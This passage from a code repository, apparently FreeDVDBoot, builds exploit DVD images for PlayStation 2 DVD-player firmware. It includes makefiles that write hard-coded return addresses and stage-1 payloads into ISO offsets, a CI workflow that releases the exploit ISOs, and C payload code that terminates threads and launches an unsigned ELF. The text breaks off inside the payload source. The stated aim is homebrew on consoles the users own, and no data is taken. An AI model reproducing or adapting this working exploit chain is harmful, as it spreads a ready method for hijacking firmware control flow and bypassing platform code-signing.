├── .clang-format ├── .editorconfig ├── .gitattributes ├── .github └── workflows │ └── compilation.yml ├── .gitignore ├── PAYLOADS ├── 1.00-2.13 │ ├── Mainrules.mk │ ├── eecrt0.ee.S │ ├── eepayload.ee.c │ ├── emulator.mk │ ├── hardware.mk │ ├── ioppayload.iop.c │ ├── iopresolve.h │ ├── stage1_210_212.iop.S │ ├── stage1_213.iop.S │ ├── syscalls.ee.S │ └── udf │ │ └── VIDEO_TS │ │ ├── BOOT.ELF │ │ ├── VIDEO_TS.BUP │ │ ├── VIDEO_TS.IFO │ │ ├── VTS_01_0.BUP │ │ ├── VTS_01_0.IFO │ │ └── VTS_01_1.VOB └── 3.03-3.11 │ ├── build.sh │ ├── crt0.S │ ├── jump.S │ ├── payload.c │ └── udf │ └── VIDEO_TS │ ├── VIDEO_TS.IFO │ ├── VTS_01_0.IFO │ └── VTS_02_0.IFO ├── README.md └── TODO /.clang-format: -------------------------------------------------------------------------------- 1 | --- 2 | Language: Cpp 3 | AccessModifierOffset: -4 4 | AlignAfterOpenBracket: Align 5 | AlignConsecutiveAssignments: true 6 | AlignConsecutiveBitFields: AcrossEmptyLinesAndComments 7 | AlignConsecutiveDeclarations: false 8 | AlignConsecutiveMacros: AcrossComments 9 | AlignEscapedNewlines: Left 10 | AlignOperands: Align 11 | AlignTrailingComments: true 12 | AllowAllArgumentsOnNextLine: false 13 | AllowAllConstructorInitializersOnNextLine: true 14 | AllowAllParametersOfDeclarationOnNextLine: true 15 | AllowShortBlocksOnASingleLine: Empty 16 | AllowShortCaseLabelsOnASingleLine: false 17 | AllowShortEnumsOnASingleLine: true 18 | AllowShortFunctionsOnASingleLine: All 19 | AllowShortIfStatementsOnASingleLine: Never 20 | AllowShortLambdasOnASingleLine: Empty 21 | AllowShortLoopsOnASingleLine: false 22 | AlwaysBreakAfterReturnType: None 23 | AlwaysBreakBeforeMultilineStrings: false 24 | AlwaysBreakTemplateDeclarations: true 25 | BinPackArguments: true 26 | BinPackParameters: true 27 | BitFieldColonSpacing : Both 28 | BreakBeforeBraces: Custom 29 | BraceWrapping: 30 | AfterCaseLabel: false 31 | AfterClass: true 32 | AfterControlStatement: false 33 | AfterEnum: false 34 | AfterFunction: true 35 | AfterNamespace: true 36 | AfterObjCDeclaration: false 37 | AfterStruct: true 38 | AfterUnion: true 39 | AfterExternBlock: false 40 | BeforeCatch: false 41 | BeforeElse: false 42 | BeforeLambdaBody: false 43 | BeforeWhile: false 44 | IndentBraces: false 45 | SplitEmptyFunction: true 46 | SplitEmptyRecord: true 47 | SplitEmptyNamespace: true 48 | BreakBeforeBinaryOperators: None 49 | BreakBeforeConceptDeclarations: true 50 | BreakBeforeTernaryOperators: false 51 | BreakConstructorInitializers: BeforeComma 52 | BreakStringLiterals: true 53 | ColumnLimit: 0 54 | CommentPragmas: '^ (IWYU pragma:|NOLINT)' 55 | ConstructorInitializerAllOnOneLineOrOnePerLine: false 56 | ConstructorInitializerIndentWidth: 4 57 | ContinuationIndentWidth: 4 58 | Cpp11BracedListStyle: true 59 | DeriveLineEnding: true 60 | DerivePointerAlignment: false 61 | DisableFormat: false 62 | EmptyLineBeforeAccessModifier: LogicalBlock 63 | FixNamespaceComments: true 64 | ForEachMacros: [] 65 | IncludeBlocks: Preserve 66 | IndentExternBlock: NoIndent 67 | IndentCaseBlocks: false 68 | IndentCaseLabels: true 69 | IndentGotoLabels: true 70 | IndentWidth: 4 71 | IndentWrappedFunctionNames: false 72 | KeepEmptyLinesAtTheStartOfBlocks: true 73 | MacroBlockBegin: '' 74 | MacroBlockEnd: '' 75 | MaxEmptyLinesToKeep: 3 76 | NamespaceIndentation: None 77 | ObjCBlockIndentWidth: 2 78 | ObjCSpaceAfterProperty: false 79 | ObjCSpaceBeforeProtocolList: true 80 | PenaltyBreakAssignment: 80 81 | PenaltyBreakBeforeFirstCallParameter: 19 82 | PenaltyBreakComment: 300 83 | PenaltyBreakFirstLessLess: 120 84 | PenaltyBreakString: 1000 85 | PenaltyBreakTemplateDeclaration: 80 86 | PenaltyExcessCharacter: 1000000 87 | PenaltyIndentedWhitespace: 80 88 | PenaltyReturnTypeOnItsOwnLine: 60 89 | PointerAlignment: Right 90 | # uncomment below when clang >13 will be out 91 | # IndentPPDirectives: AfterHash 92 | # PPIndentWidth: 1 93 | ReflowComments: true 94 | SortIncludes: false 95 | SpaceAfterCStyleCast: false 96 | SpaceAfterLogicalNot: false 97 | SpaceAroundPointerQualifiers: Default 98 | SpaceBeforeAssignmentOperators: true 99 | SpaceBeforeCaseColon: false 100 | SpaceBeforeCpp11BracedList: true 101 | SpaceBeforeInheritanceColon: false 102 | SpaceBeforeParens: ControlStatements 103 | SpaceBeforeRangeBasedForLoopColon: true 104 | SpaceBeforeSquareBrackets: false 105 | SpaceInEmptyBlock: false 106 | SpaceInEmptyParentheses: false 107 | SpacesBeforeTrailingComments: 1 108 | SpacesInAngles: false 109 | SpacesInConditionalStatement: false 110 | SpacesInContainerLiterals: true 111 | SpacesInCStyleCastParentheses: false 112 | SpacesInParentheses: false 113 | SpacesInSquareBrackets: false 114 | Standard: Cpp11 115 | TabWidth: 4 116 | UseTab: Never 117 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # EditorConfig: http://EditorConfig.org 2 | 3 | # Top-most EditorConfig file 4 | root = true 5 | 6 | # Unix-style newlines with a newline ending every file 7 | [*] 8 | end_of_line = lf 9 | insert_final_newline = true 10 | trim_trailing_whitespace = true 11 | charset = utf-8 12 | 13 | # 4 space indentation 14 | [*.{c,h,js,css,html}] 15 | indent_style = space 16 | indent_size = 4 17 | 18 | # 2 space indentation 19 | [*.{json,xml,yaml,yml}] 20 | indent_style = space 21 | indent_size = 2 22 | 23 | # Tab indentation 24 | [Makefile*] 25 | indent_style = tab 26 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.github/workflows/compilation.yml: -------------------------------------------------------------------------------- 1 | name: CI-compile 2 | 3 | on: 4 | push: 5 | pull_request: 6 | 7 | jobs: 8 | build: 9 | name: Payload compilation 10 | runs-on: ubuntu-latest 11 | container: ps2dev/ps2dev:v1.0 12 | # instead of "ps2dev/ps2dev:latest" you can use different tags, for example for old projects you can use "ps2dev/ps2dev:v1.0" 13 | steps: 14 | - name: Install dependencies 15 | run: | 16 | apk add build-base git zip grep cdrkit bash 17 | 18 | - uses: actions/checkout@v2 19 | - run: | 20 | git fetch --prune --unshallow 21 | 22 | - name: Get short SHA and repository name 23 | id: slug 24 | run: | 25 | echo "::set-output name=sha8::$(echo ${GITHUB_SHA} | cut -c1-8)" 26 | echo "::set-output name=REPOSITORY_NAME::$(echo "$GITHUB_REPOSITORY" | awk -F / '{print $2}' | sed -e "s/:refs//")" 27 | 28 | - name: Compile payload >=3.03 29 | shell: bash 30 | run: | 31 | export PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' 32 | cd "PAYLOADS/3.03-3.11" 33 | ls -l 34 | ./build.sh 35 | ls -l 36 | md5sum *.bin 37 | 38 | - name: Upload artifacts >=3.03 39 | if: ${{ success() }} 40 | uses: actions/upload-artifact@v2 41 | with: 42 | name: PAYLOADS_303-311_${{ steps.slug.outputs.sha8 }} 43 | path: | 44 | PAYLOADS/3.03-3.11 45 | 46 | - name: Compile payload <2.13 47 | run: | 48 | export PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' 49 | cd "PAYLOADS/1.00-2.13" 50 | make -B -f hardware.mk 51 | ls -l 52 | md5sum *.bin 53 | 54 | - name: Upload artifacts <2.13 55 | if: ${{ success() }} 56 | uses: actions/upload-artifact@v2 57 | with: 58 | name: PAYLOADS_110-213_${{ steps.slug.outputs.sha8 }} 59 | path: | 60 | PAYLOADS/1.00-2.13 61 | 62 | - name: Compile payload <2.13 (PCSX2 version) 63 | run: | 64 | export PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' 65 | cd "PAYLOADS/1.00-2.13" 66 | make -B -f emulator.mk 67 | ls -l 68 | md5sum *.bin 69 | 70 | - name: Upload artifacts <2.13 (PCSX2 version) 71 | if: ${{ success() }} 72 | uses: actions/upload-artifact@v2 73 | with: 74 | name: PAYLOADS_110-213_PCSX2_${{ steps.slug.outputs.sha8 }} 75 | path: | 76 | PAYLOADS/1.00-2.13 77 | !PAYLOADS/1.00-2.13/dvd.iso.bin 78 | 79 | - run: | 80 | mv PAYLOADS/3.03-3.11/exploit.iso FreeDVDBoot_3.03-3.11_${{ steps.slug.outputs.sha8 }}.iso 81 | zip FreeDVDBoot_3.03-3.11_${{ steps.slug.outputs.sha8 }}.zip FreeDVDBoot_3.03-3.11_${{ steps.slug.outputs.sha8 }}.iso 82 | mv PAYLOADS/1.00-2.13/dvd.iso FreeDVDBoot_1.00-2.13_${{ steps.slug.outputs.sha8 }}.iso 83 | zip FreeDVDBoot_1.00-2.13_${{ steps.slug.outputs.sha8 }}.zip FreeDVDBoot_1.00-2.13_${{ steps.slug.outputs.sha8 }}.iso 84 | mv PAYLOADS/1.00-2.13/dvd_pcsx2.iso FreeDVDBoot_1.00-2.13_PCSX2_${{ steps.slug.outputs.sha8 }}.iso 85 | zip FreeDVDBoot_1.00-2.13_PCSX2_${{ steps.slug.outputs.sha8 }}.zip FreeDVDBoot_1.00-2.13_PCSX2_${{ steps.slug.outputs.sha8 }}.iso 86 | 87 | - name: Create pre-release 88 | if: github.ref == 'refs/heads/master' 89 | uses: marvinpinto/action-automatic-releases@latest 90 | with: 91 | repo_token: "${{ secrets.GITHUB_TOKEN }}" 92 | prerelease: true 93 | automatic_release_tag: "latest" 94 | title: "Development build" 95 | files: | 96 | *.zip 97 | 98 | - name: Create Tagged Release Draft 99 | if: startsWith(github.ref, 'refs/tags/v') 100 | uses: marvinpinto/action-automatic-releases@latest 101 | with: 102 | repo_token: "${{ secrets.GITHUB_TOKEN }}" 103 | prerelease: false 104 | draft: true 105 | files: | 106 | *.zip 107 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # 2 | # NOTE! Please use 'git ls-files -i --exclude-standard -c' 3 | # command after changing this file, to see if there are 4 | # any tracked files which get ignored after the change. 5 | # 6 | # Normal rules 7 | # 8 | .* 9 | *.a 10 | *.diff 11 | *.elf 12 | *.ELF 13 | *.erl 14 | *.exe 15 | *.irx 16 | *.map 17 | *.o 18 | *.patch 19 | *.rej 20 | *.zip 21 | *.ZIP 22 | *.a 23 | 24 | # 25 | # files that we don't want to ignore 26 | # 27 | !.gitignore 28 | !.gitattributes 29 | !.github 30 | !.editorconfig 31 | !.clang-format 32 | 33 | !BOOT.ELF 34 | 35 | # 36 | # Generated source files 37 | # 38 | *.bin 39 | dvd.iso 40 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/Mainrules.mk: -------------------------------------------------------------------------------- 1 | EE_CC = ee-gcc 2 | EE_LD = ee-ld 3 | EE_AS = ee-as 4 | EE_OBJCOPY = ee-objcopy 5 | 6 | IOP_CC = iop-gcc 7 | IOP_LD = iop-ld 8 | IOP_AS = iop-as 9 | IOP_OBJCOPY = iop-objcopy 10 | IOP_OBJDUMP = iop-objdump 11 | 12 | IOP_SYMBOLS = -DREAD_SECTORS_210=$(IOP_READ_SECTORS_210) -DORIGINAL_RETURN_ADDRESS_210=$(IOP_ORIGINAL_RETURN_ADDRESS_210) -DRETURN_ADDRESS_LOCATION_210=$(IOP_RETURN_ADDRESS_LOCATION_210) \ 13 | -DREAD_SECTORS_212=$(IOP_READ_SECTORS_212) -DORIGINAL_RETURN_ADDRESS_212=$(IOP_ORIGINAL_RETURN_ADDRESS_212) -DRETURN_ADDRESS_LOCATION_212=$(IOP_RETURN_ADDRESS_LOCATION_212) \ 14 | -DREAD_SECTORS_213=$(IOP_READ_SECTORS_213) -DORIGINAL_RETURN_ADDRESS_213=$(IOP_ORIGINAL_RETURN_ADDRESS_213) -DRETURN_ADDRESS_LOCATION_213=$(IOP_RETURN_ADDRESS_LOCATION_213) \ 15 | -DREAD_SECTORS_110=$(IOP_READ_SECTORS_110) -DORIGINAL_RETURN_ADDRESS_110=$(IOP_ORIGINAL_RETURN_ADDRESS_110) -DRETURN_ADDRESS_LOCATION_110=$(IOP_RETURN_ADDRESS_LOCATION_110) 16 | 17 | IOP_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -g $(IOP_SYMBOLS) 18 | 19 | EE_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1 20 | 21 | IOP_STAGE1_SIZE_210_212 = `stat -c '%s' stage1_210_212.iop.bin` 22 | IOP_STAGE1_SIZE_213 = `stat -c '%s' stage1_213.iop.bin` 23 | IOP_PAYLOAD_SIZE = `stat -c '%s' ioppayload.iop.bin` 24 | 25 | # dvd.iso: dvd.base.iso stage1_210_212.iop.bin stage1_213.iop.bin ioppayload.iop.bin 26 | dvd.iso: stage1_210_212.iop.bin stage1_213.iop.bin ioppayload.iop.bin 27 | mkdir -p udf/AUDIO_TS 28 | genisoimage -udf -dvd-video -o $(ISO_NAME) udf/ 29 | # mkisofs -UDF -o $(ISO_NAME) udf # Mac OS command 30 | 31 | # @echo Insert 0x00000048 to offset 0x00818AC = 530604 in dvd.iso 32 | # @echo Insert 0x00004000 to offset 0x00818B0 = 530608 in dvd.iso 33 | # @echo next one for pcsx2 version 34 | # @echo Insert 0x000B7548 to offset 0x00818F4 = 530676 in dvd.iso 35 | # TODO: probably this step is repeated twice, remove one step 36 | # TODO: check why seek=$((0x00818AC)) is failing 37 | # TODO: AKUHAK: what does TEMP1, TEMP2 stands for ?? 38 | printf $(TEMP1) | dd of=$(ISO_NAME) bs=1 seek=530604 count=4 conv=notrunc 39 | printf $(TEMP2) | dd of=$(ISO_NAME) bs=1 seek=530608 count=4 conv=notrunc 40 | printf $(TEMP3) | dd of=$(ISO_NAME) bs=1 seek=530676 count=4 conv=notrunc 41 | 42 | # Cturt: For now it's easier to just use a base dvd rather than attempting to generate an image and patch it 43 | # cp dvd.base.iso dvd.iso 44 | 45 | # Return address (2.10 - 2.13) 0x00818F4 = 530676 46 | printf $(STAGE1_LOAD_ADDRESS_STRING_210_212) | dd of=$(ISO_NAME) bs=1 seek=530676 count=4 conv=notrunc 47 | 48 | # Return address 1.10 (0x000818BC = 530620) 49 | printf $(STAGE1_LOAD_ADDRESS_STRING_110) | dd of=$(ISO_NAME) bs=1 seek=530620 count=4 conv=notrunc 50 | 51 | # Old toolchains don't support this option, so just copy byte-by-byte... 52 | # bs=4096 iflag=skip_bytes,count_bytes 53 | # AKuHAK: what does above means? Do we need relative offsets? 54 | 55 | dd if=stage1_210_212.iop.bin of=$(ISO_NAME) bs=1 seek=$(STAGE1_ISO_210_212) count=$(IOP_STAGE1_SIZE_210_212) conv=notrunc 56 | dd if=stage1_213.iop.bin of=$(ISO_NAME) bs=1 seek=$(STAGE1_ISO_213) count=$(IOP_STAGE1_SIZE_213) conv=notrunc 57 | 58 | # 0x700000 = 7340032 59 | dd if=ioppayload.iop.bin of=$(ISO_NAME) bs=1 seek=7340032 count=$(IOP_PAYLOAD_SIZE) conv=notrunc 60 | 61 | %.iop.bin: %.iop.elf 62 | $(IOP_OBJCOPY) -O binary $< $@ 63 | 64 | %.iop.o: %.iop.S 65 | $(IOP_AS) $< -o $@ 66 | 67 | stage1_210_212.iop.elf: stage1_210_212.iop.S ioppayload.iop.bin 68 | $(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start" 69 | # $(echo 0x"$IOP_PAYLOAD_ENTRY" | awk '{print $1}') 70 | $(IOP_CC) $< -DENTRY=$(IOP_PAYLOAD_ENTRY) -DIOP_PAYLOAD_SIZE=$(IOP_PAYLOAD_SIZE) $(IOP_CFLAGS) -o $@ 71 | 72 | stage1_213.iop.elf: stage1_213.iop.S ioppayload.iop.bin 73 | $(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start" 74 | # $(echo 0x"$IOP_PAYLOAD_ENTRY" | awk '{print $1}') 75 | $(IOP_CC) $< -DENTRY=$(IOP_PAYLOAD_ENTRY) -DIOP_PAYLOAD_SIZE=$(IOP_PAYLOAD_SIZE) $(IOP_CFLAGS) -o $@ 76 | 77 | %.iop.elf: %.iop.c eepayload.ee.bin 78 | $(IOP_CC) -Ttext=$(IOP_PAYLOAD_ADDRESS) -DLOAD_ELF_FROM_OFFSET=$(LOAD_ELF_FROM_OFFSET) ioppayload.iop.c $(IOP_CFLAGS) -o $@ 79 | 80 | %.ee.bin: %.ee.elf 81 | $(EE_OBJCOPY) -O binary $< $@ -Wl,-z,max-page-size=0x1 82 | 83 | %.ee.o: %.ee.S 84 | $(EE_AS) $< -o $@ 85 | 86 | eepayload.ee.elf: eecrt0.ee.o syscalls.ee.o eepayload.ee.c 87 | $(EE_CC) -Ttext=$(EE_PAYLOAD_ADDRESS) $^ $(EE_CFLAGS) -o $@ 88 | 89 | clean: 90 | rm -rf *.iop.elf *.ee.elf *.bin *.o $(ISO_NAME) 91 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/eecrt0.ee.S: -------------------------------------------------------------------------------- 1 | # ElReino & CTurt 2020 2 | 3 | .section .text.startup 4 | 5 | .global _start 6 | _start: 7 | # Point stack to end of scratchpad RAM 8 | # la $sp, 0x70004000 9 | 10 | .global main 11 | # la $v1, 0x01 12 | # la $a0, 0x7f 13 | # syscall 0x01 # ResetEE 14 | 15 | la $a0, main 16 | la $a1, 0 17 | la $a2, 0 18 | la $a3, 0 19 | 20 | jr $a0 21 | 22 | # Don't use on phat PS2... completely broken syscall 23 | #ExecPS2: 24 | # la $v1, 0x07 25 | # syscall 0x07 # ExecPS2 26 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/eepayload.ee.c: -------------------------------------------------------------------------------- 1 | // ElReino & CTurt 2020 2 | 3 | // int (*SifIopReset)(char *, int) = (void *)0x85360; 4 | // void (*SifInitRpc)(int) = (void *)0x84500; 5 | // void (*SifExitRpc)(void) = (void *)0x84690; 6 | 7 | extern void SifWriteBackDCache(void *ptr, int size); 8 | extern int SifSetReg(unsigned int register_num, unsigned int register_value); 9 | extern int SifGetReg(unsigned int register_num); 10 | 11 | static int SifIopSync(void) 12 | { 13 | #define SIF_REG_SMFLAG 4 14 | #define SIF_STAT_BOOTEND 0x40000 15 | return ((SifGetReg(SIF_REG_SMFLAG) & SIF_STAT_BOOTEND) != 0); 16 | } 17 | 18 | static void flush(void) 19 | { 20 | asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback 21 | asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate 22 | } 23 | 24 | int GetThreadId(void); 25 | void ChangeThreadPriority(int thread_id, int priority); 26 | int CancelWakeupThread(int thread_id); 27 | void TerminateThread(int thread_id); 28 | void DeleteThread(int thread_id); 29 | 30 | static void TerminateAllThreads(void) 31 | { 32 | int i, ThreadID; 33 | 34 | ThreadID = GetThreadId(); 35 | ChangeThreadPriority(ThreadID, 0); 36 | CancelWakeupThread(ThreadID); 37 | for (i = 1; i < 256; i++) { // Skip idle thread. 38 | if (i != ThreadID) { 39 | TerminateThread(i); 40 | DeleteThread(i); 41 | } 42 | } 43 | } 44 | 45 | int main(void) 46 | { 47 | // ExecPS2 is broken on Phat PS2... manually kill other threads instead 48 | TerminateAllThreads(); 49 | 50 | // Signal IOP that EE is Ready, willing, and fully enabled! 51 | SifSetReg(3, 1); 52 | 53 | volatile int *waitAddress = (void *)0x21FFF7F0; 54 | while (!*waitAddress) 55 | ; 56 | 57 | volatile void **entry_point_address = (void *)0x01FFF7E0; 58 | 59 | // cdrom0: 60 | volatile void **argument = (void *)0x01FFF7D0; 61 | *(volatile int *)0x01FFF7D0 = 0x01FFF7D8; 62 | *(volatile int *)0x01FFF7D8 = 0x6F726463; 63 | *(volatile int *)0x01FFF7DC = 0x003A306D; 64 | 65 | flush(); 66 | 67 | // SifIopReset("rom0:UDNL rom0:EELOADCNF", 0); 68 | // while (!SifIopSync()) 69 | // ; 70 | 71 | // ExecPS2(*entry_point_address, 0, 0, 0); 72 | ExecPS2(*entry_point_address, 0, 1, argument); // kHn: arg == cdrom0: 73 | } 74 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/emulator.mk: -------------------------------------------------------------------------------- 1 | # TODO: try to run original DVD players in the pcsx2 (with balika's magicgate support), not the krHACKen ones 2 | TEMP1 = '\x48\x00\x00\x00' 3 | TEMP2 = '\x00\x40\x00\x00' 4 | TEMP3 = '\x48\x75\x0B\x00' 5 | 6 | ISO_NAME = dvd_pcsx2.iso 7 | 8 | STAGE1_LOAD_ADDRESS_110 = 0xA00B66A8 9 | STAGE1_LOAD_ADDRESS_STRING_110 = '\xa8\x66\x0b\xa0' 10 | 11 | STAGE1_LOAD_ADDRESS_210_212 = 0xA00B7548 12 | STAGE1_LOAD_ADDRESS_STRING_210_212 = '\x48\x75\x0b\xa0' 13 | 14 | STAGE1_LOAD_ADDRESS_213 = 0xA00B6FC8 15 | STAGE1_LOAD_ADDRESS_STRING_213 = '\xc8\x6f\x0b\xa0' 16 | 17 | STAGE1_ISO_210_212 = 532728 # 0x820F8 18 | STAGE1_ISO_213 = 534136 # 0x82678 19 | 20 | IOP_READ_SECTORS_110 = 0xB19E4 21 | IOP_READ_SECTORS_210 = 0xB260C 22 | IOP_READ_SECTORS_212 = 0xB25F8 23 | IOP_READ_SECTORS_213 = 0xB21F8 24 | IOP_ORIGINAL_RETURN_ADDRESS_210 = 0xB3630 25 | IOP_ORIGINAL_RETURN_ADDRESS_212 = 0xB35D8 26 | IOP_ORIGINAL_RETURN_ADDRESS_213 = 0xB31EC 27 | IOP_RETURN_ADDRESS_LOCATION_210 = 0x1F62AC 28 | IOP_RETURN_ADDRESS_LOCATION_212 = 0x1F62B4 29 | IOP_RETURN_ADDRESS_LOCATION_213 = 0x1F62B4 30 | 31 | 32 | # IOP_PAYLOAD_ENTRY = `$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"` 33 | IOP_PAYLOAD_ENTRY = 0xA00FD178 # Set this manually for now. 34 | 35 | IOP_PAYLOAD_ADDRESS = 0xA00FD000 36 | 37 | EE_PAYLOAD_ADDRESS = 0x01FFF800 38 | 39 | # isoinfo -l -i dvd.iso | grep "BOOT.ELF" 40 | # var=`isoinfo -l -i dvd.iso | grep "BOOT.ELF" | grep -o -P "[0-9]*? -"` 41 | # LOAD_ELF_FROM_OFFSET = 42 | # LOAD_ELF_FROM_OFFSET = `isoinfo -l -i $(ISO_NAME) | grep BOOT.ELF | awk '{print $10*2048}'` 43 | LOAD_ELF_FROM_OFFSET = 0x5BB000 # Set this manually for now TODO: check why it doesnt work 44 | 45 | include Mainrules.mk 46 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/hardware.mk: -------------------------------------------------------------------------------- 1 | TEMP1 = '\x48\x00\x00\x00' 2 | TEMP2 = '\x00\x40\x00\x00' 3 | TEMP3 = '\x48\x75\x0B\x00' 4 | 5 | ISO_NAME = dvd.iso 6 | 7 | STAGE1_LOAD_ADDRESS_110 = 0xA0061DA8 # 0xA00B66A8 + 0x5C700 - 0xB1000 8 | STAGE1_LOAD_ADDRESS_STRING_110 = '\xa8\x1d\x06\xa0' 9 | 10 | STAGE1_LOAD_ADDRESS_210_212 = 0xA0062C48 # 0xA00B7548 + 0x5C700 - 0xB1000 11 | STAGE1_LOAD_ADDRESS_STRING_210_212 = '\x48\x2c\x06\xa0' 12 | 13 | STAGE1_LOAD_ADDRESS_213 = 0xA00626C8 # 0xA00B6FC8 + 0x5C700 - 0xB1000 14 | STAGE1_LOAD_ADDRESS_STRING_213 = '\xc8\x26\x06\xa0' 15 | 16 | # AKuHAK: why in the provided DVD image Cturt uses 0x82100 (a bit higher than 0x820F8)? 17 | STAGE1_ISO_210_212 = 532728 # 0x820F8 18 | STAGE1_ISO_213 = 534136 # 0x82678 19 | 20 | IOP_READ_SECTORS_110 = 0x5D0E4 # 0xB19E4 + 0x5C700 - 0xB1000 21 | IOP_READ_SECTORS_210 = 0x5DD0C # 0xB260C + 0x5C700 - 0xB1000 22 | IOP_READ_SECTORS_212 = 0x5DCF8 # 0xB25F8 + 0x5C700 - 0xB1000 23 | IOP_READ_SECTORS_213 = 0x5D8F8 # 0xB21F8 + 0x5C700 - 0xB1000 24 | IOP_ORIGINAL_RETURN_ADDRESS_210 = 0x5ED30 # 0xB3630 + 0x5C700 - 0xB1000 25 | IOP_ORIGINAL_RETURN_ADDRESS_212 = 0x5ECD8 # 0xB35D8 + 0x5C700 - 0xB1000 26 | IOP_ORIGINAL_RETURN_ADDRESS_213 = 0x5E8EC # 0xB31EC + 0x5C700 - 0xB1000 27 | IOP_RETURN_ADDRESS_LOCATION_210 = 0x1F30AC # 0x1F62AC + 0x1F3058 - 0x1F6258 28 | IOP_RETURN_ADDRESS_LOCATION_212 = 0x1F30B4 # 0x1F62B4 + 0x1F3058 - 0x1F6258 29 | IOP_RETURN_ADDRESS_LOCATION_213 = 0x1F30B4 # 0x1F62B4 + 0x1F3058 - 0x1F6258 30 | 31 | 32 | # IOP_PAYLOAD_ENTRY = `$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"` 33 | IOP_PAYLOAD_ENTRY = 0xA00FD178 # Set this manually for now. 34 | # AKuHAK: check why iop-objdump shows completely different address? 401fa178 not A00FD178 35 | 36 | IOP_PAYLOAD_ADDRESS = 0xA00FD000 37 | 38 | EE_PAYLOAD_ADDRESS = 0x01FFF800 39 | 40 | # isoinfo -l -i dvd.iso | grep "BOOT.ELF" 41 | # var=`isoinfo -l -i dvd.iso | grep "BOOT.ELF" | grep -o -P "[0-9]*? -"` 42 | # LOAD_ELF_FROM_OFFSET = 43 | # LOAD_ELF_FROM_OFFSET = `isoinfo -l -i $(ISO_NAME) | grep BOOT.ELF | awk '{print $10*2048}'` 44 | LOAD_ELF_FROM_OFFSET = 0x5BB000 # Set this manually for now 45 | 46 | include Mainrules.mk 47 | -------------------------------------------------------------------------------- /PAYLOADS/1.00-2.13/ioppayload.iop.c: -------------------------------------------------------------------------------- 1 | // ElReino & CTurt 2 | 3 | /* Todo: seperate these settings to an include file. 4 | */ 5 | #define EE_CRT0_ADDRESS ((void *)0x21FFF800) 6 | #define EE_WAIT_ADDRESS ((void *)0x01FFF7F0) 7 | #define EE_ENTRYPOINT_ADDRESS ((void *)0x01FFF7E0) 8 | // #define EE_DEBUG_ADDRESS ((void *)0x01FFF7D0) 9 | 10 | struct SifDmaTransfer 11 | { 12 | void *src, 13 | *dest; 14 | int size; 15 | int attr; 16 | } __attribute__((aligned(8))); 17 | 18 | #define ELF_PT_LOAD 1 19 | 20 | typedef unsigned char u8; 21 | typedef unsigned short u16; 22 | typedef unsigned int u32; 23 | typedef unsigned int size_t; 24 | 25 | typedef struct 26 | { 27 | u8 ident[16]; 28 | u16 type; 29 | u16 machine; 30 | u32 version; 31 | u32 entry; 32 | u32 phoff; 33 | u32 shoff; 34 | u32 flags; 35 | u16 ehsize; 36 | u16 phentsize; 37 | u16 phnum; 38 | u16 shentsize; 39 | u16 shnum; 40 | u16 shstrndx; 41 | } elf_header_t; 42 | 43 | typedef struct 44 | { 45 | u32 type; 46 | u32 offset; 47 | void *vaddr; 48 | u32 paddr; 49 | u32 filesz; 50 | u32 memsz; 51 | u32 flags; 52 | u32 align; 53 | } elf_pheader_t; 54 | 55 | #define SECTOR_SIZE 0x800 56 | 57 | #define min(a, b) (((a) < (b)) ? (a) : (b)) 58 | 59 | int (*readSectors)(int count, int sector, void *destination); 60 | 61 | // int (*sceSifSetDma)(struct SifDmaTransfer *, int num) = (void *)0x16fc8; 62 | // int (*sceSifDmaStat)(int trid) = (void *)0x17170; 63 | // void (*flushIcache)(void) = (void *)0x2f40; 64 | // void (*flushDcache)(void) = (void *)0x3044; 65 | // void (*printf)(char *, ...) = (void *)0x1ab84; // 2.10 66 | // void (*printf)(char *, ...) = (void *)0x155f8; // 2.12 67 | 68 | int (*sceSifSetDma)(struct SifDmaTransfer *, int num); 69 | int (*sceSifDmaStat)(int trid); 70 | 71 | static void transfer_to_ee(void *dest, void *src, unsigned int size); 72 | static void *memcpy(void *dest, void *src, unsigned int n); 73 | static void *memset(void *s, int c, unsigned int n); 74 | static void memset_ee(void *s, int c, unsigned int n); 75 | 76 | // #include "iopresolve.h" 77 | 78 | #define BD2 (*(volatile int *)0xBD000020) // msflag 79 | 80 | static int SifGetMSFlag() 81 | { 82 | int a, b; 83 | 84 | b = BD2; 85 | do { 86 | a = b; 87 | b = BD2; 88 | } while (a != b); 89 | 90 | return a; 91 | } 92 | 93 | static int SifSetMSFlag(unsigned int value) 94 | { 95 | int a, b; 96 | 97 | BD2 = value; 98 | 99 | b = BD2; 100 | do { 101 | a = b; 102 | b = BD2; 103 | } while (a != b); 104 | 105 | return a; 106 | } 107 | 108 | static void readData(void *dest, unsigned int offset, size_t n) 109 | { 110 | // unsigned char buffer[SECTOR_SIZE]; 111 | // unsigned char 